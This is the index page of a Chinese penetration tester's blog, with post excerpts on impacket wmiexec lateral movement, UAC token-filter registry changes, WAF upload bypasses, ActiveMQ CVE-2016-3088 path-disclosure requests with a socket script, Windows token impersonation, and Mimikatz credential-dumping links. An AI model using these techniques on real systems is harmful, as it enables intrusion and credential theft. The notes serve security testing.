YoungRichOG

Web Pentester


  • 首页

  • 归档

  • 关于

pyinstaller打包impacket

发表于 2020-06-14

pyinstaller打包impacket

转载请注明出处:https://youngrichog.github.io/

记录一下打包遇到的问题

python打包exe的时候遇到问题,exe已经打包成功但是运行后报”pkg_resources.DistributionNotFound:the “impacket” distribution was not found….”

img

解决方案:
在需要打包的根目录下新建hook-ctypes.macholib.py文件

1
2
3
# -*- coding:utf-8 -*-
from PyInstaller.utils.hooks import copy_metadata
datas = copy_metadata('impacket')

然后使用下面命令重新打包:

1
pyinstaller -F get_env.py --additional-hooks-dir=.

Respect

https://github.com/pyinstaller/pyinstaller/issues/1713

文件上传绕过备忘录

发表于 2020-06-06

文件上传绕过备忘录

转载请注明出处:https://youngrichog.github.io/**

描述

好久没有做过渗透测试,闲来无事遇到一个铱迅的WAF,然后记录一下吧,可能是old school的手法,但是我不会,脑子里面没有印象 :-(

Bypass

0x01

遇到正常重放上传图片都不可以;有些WAF将Connection: close做为特征进行拦截,例如Burp Suite发包重放的时候,默认为:Connection: close(在Burp Suite中可以修改配置),导致WAF进行拦截,正常浏览器是Connection:keep-alive,故删除或者修改为keep-alive即可。

0x02

畸形包,例如删除content-type等

impacket远程命令执行记录

发表于 2020-03-05

impacket远程命令执行记录

转载请注明出处:https://youngrichog.github.io/**

在横向移动的时候常常会遇到目标445端口被防火墙过滤的情况,那么我们就需要通过其他端口进行横向移动。

之前对impacket中远程命令执行的帮助文件看的不是很透彻,导致掉坑里。

wmiexec&dcomexec

正常我们使用wmiexec、dcomexec的时候,命令会这样写,会回显执行结果。这时wmiexec、dcomexec会使用135、445端口,但如果目标445端口被防火墙过滤就会导致远程命令执行失败。

1
python wmiexec.py administrator@172.16.102.135 "whoami"

后续发现有一个参数叫-nooutput就可以解决这样的情况,这时wmiexec、dcomexec仅仅会使用135端口,但是不会有回显。有些时候很有必要把debug打开。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Impacket v0.9.14-dev - Copyright 2002-2015 Core Security Technologies

usage: wmiexec.py [-h] [-share SHARE] [-nooutput] [-debug]
[-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key]
target [command [command ...]]

Executes a semi-interactive shell using Windows Management Instrumentation.

positional arguments:
target [[domain/]username[:password]@]<targetName or address>
command command to execute at the target. If empty it will
launch a semi-interactive shell

optional arguments:
-h, --help show this help message and exit
-share SHARE share where the output will be grabbed from (default
ADMIN$)
-nooutput whether or not to print the output (no SMB connection
created)
-debug Turn DEBUG output ON

authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from
ccache file (KRB5CCNAME) based on target parameters.
If valid credentials cannot be found, it will use the
ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256
bits)

感觉这张图总结的很好,喜欢了😍

img

UAC

在横向移动的时候我们也常常会遇到UAC的问题,rpc_s_access_denied是我们不愿意看到的。

主要分为两种情况:工作组、域

工作组:

对于任何非RID 500的本地管理员(Administrator)连接到WIndows Vista+的计算机,无论是采用WMI、PSexec还是其他方法,使用的令牌都是”已经过滤过的”(即中等令牌)。当使用上述命令进行链接的时候会显示Access is Denied。

img

在工作组的情况,我们需要使用RID 500的Administrator才可以成功。如果想要在非RID 500的账户测试,需要更改一下注册表。

1
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy

域:

我记得在域的环境下,貌似远程UAC是不一样的,具体的忘记了,后续补一下。

Respect

https://dolosgroup.io/blog/remote-access-cheat-sheet

Active Directory域-ACL相关安全研究

发表于 2020-02-08

Active Directory域-ACL相关安全研究

转载请注明出处:https://youngrichog.github.io/

描述

从攻击者的角度进行ACL相关安全研究,主要从ACL基础、ACL解析、ACL枚举、ACL利用、ACL自动化攻击、ACL防御几个角度,可能会有不准确和不正确的地方。

阅读全文 »

webdav搭建小记

发表于 2019-12-22

webdav搭建小记

转载请注明出处:https://youngrichog.github.io/

描述

该文章主要还是记录搭建完webdav所遇到的一些问题

搭建支持基础认证的webdav

HTTP

搭建完非SSL带基础认证的webdav,我们进行连接的时候会发现怎么都连接不上,说是网络错误等问题。

查阅相关文档,发现注册表的BasicAuthLevel的值默认为1

1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WebClient\Parameters

img

如果想要使用非SSL+基础认证就需要修改BasicAuthLevel的值为2,这样就支持HTTP和HTTPS了

修改完注册表,重启WebClient,然后就可以连接成功

1
2
3
net stop WebClient
net start WebClient
net use x: http://ip/webdav "password" /user:username

HTTPS

搭建SSL带基础认证的webdav,我们需要配置证书,需要给机器导入crt,这一步需要system权限

没有导入crt证书的情况

img

导入证书(根信任)

1
net use x: https://xxx/webdav "password" /user:username

img

搭建不支持基础认证的webdav

那么就可以直接连接非SSL的

1
net use x: http://xxx/webdav "password" /user:username

注意设置好权限,可读不可写,要不然容易出安全问题*

Respect

https://docs.microsoft.com/zh-cn/office/troubleshoot/powerpoint/office-opens-blank-from-sharepoint

https://forums.iis.net/t/1176106.aspx?WebDAV+over+SSL

https://untitled.pw/repairing/536.html

ActiveMQ(CVE-2016-3088)远程代码执行记录

发表于 2019-10-10

ActiveMQ(CVE-2016-3088)远程代码执行记录

转载请注明出处:https://youngrichog.github.io/

两种情况:

  1. 有账号密码
  2. 无账号密码

有账号密码

  • webshell

  • ssh public

  • crontab

  • 配合CVE-2015-5254

    ·······

有账号密码的情况下可以拿到绝对路径,访问/admin/test/systemProperties.jsp

img

然后直接PUT,由于fileserver目录不能解析需要MOVE到admin目录,只有登录才能访问

在Apache ActiveMQ 5.7及以下版本,可以通过下面爆绝对路径

1
2
3
4
5
6
7
8
PUT /fileserver/%20/%20 HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

img

另外记录一个点,就是写代码的时候遇到的。

请求包

1
2
3
4
5
6
7
8
PUT /fileserver/%20/%20 HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

返回包

1
2
3
HTTP/1.1 500 /asd/application_install/apache-activemq-5.9.1/webapps/fileserver/ /  (Not a directory)
Connection: close
Server: Jetty(7.6.9.v20130131)

我想要获取/asd/application_install/apache-activemq-5.9.1/webapps/fileserver/这一部分,用requests不知道用什么获取,后续在看看,然后暂时用socket去获取

1
2
3
4
5
6
7
8
9
10
11
12
#! /usr/bin/env python3
# -*- coding:utf-8 -*-

import socket

sock = socket.socket()
sock.connect(('ip', 8161)) #修改ip和port
request = 'PUT /fileserver/%20/%20 HTTP/1.0\r\nHost: 149.129.130.83:8161\r\n\r\n'
sock.send(request.encode('utf-8'))
res = sock.recv(4096)
sock.close()
print(res.decode('utf-8'))

img

无账号密码情况

  • ssh public
  • crontab

无账号密码,就只能写个ssh公钥或者计划个反弹shell

简单记录下 :-)

git删除远程commit

发表于 2019-09-26

git删除远程commit

转载请注明出处:https://youngrichog.github.io/

简单记录一下,如果说在提交git的时候,把敏感信息提交上去了,就会用到,故做记录

用git bash进到blog目录,进到.git目录

1
2
git reset --hard HEAD~2 //强制回退2个版本
git push -f //强制覆盖

Respect

https://blog.csdn.net/caobin_study/article/details/87372439

windows降权记录

发表于 2019-09-24

windows降权记录

转载请注明出处:https://youngrichog.github.io/

降权模式:

  • SYSTEM -> 普通用户
  • 用户A -> 用户B

一种是SYSTEM降权至普通用户,另外一种是用户A使用用户B身份

降权方式:

  1. 令牌窃取
  2. 模拟用户
  3. 切会话
  4. 进程迁移/进程注入
阅读全文 »

Docker&AWVS批量部署

发表于 2019-08-10

Docker&AWVS批量部署

转载请注明出处:https://youngrichog.github.io/

描述

初心是想要批量部署AWVS进行批量扫描,以这个为出发点。最后确定为使用Docker进行批量部署AWVS,然后在配合一个批量扫描的脚本完成。

阅读全文 »

Mimikatz实用记录

发表于 2019-03-14

Mimikatz实用记录

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1

不适用于高版本的Windows 10,会显示如下错误:

img

旧版本Mimikatz导致的,使用新版即可

下载地址:

https://github.com/EmpireProject/Empire/blob/7a39a55f127b1aeb951b3d9d80c6dc64500cacb5/data/module_source/credentials/Invoke-Mimikatz.ps1

系统版本 结果
Windows 10 1809 成功
1234

YoungRichOG

33 日志
30 标签
© 2022 YoungRichOG
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4

本站总访问量次
| 本站访客数人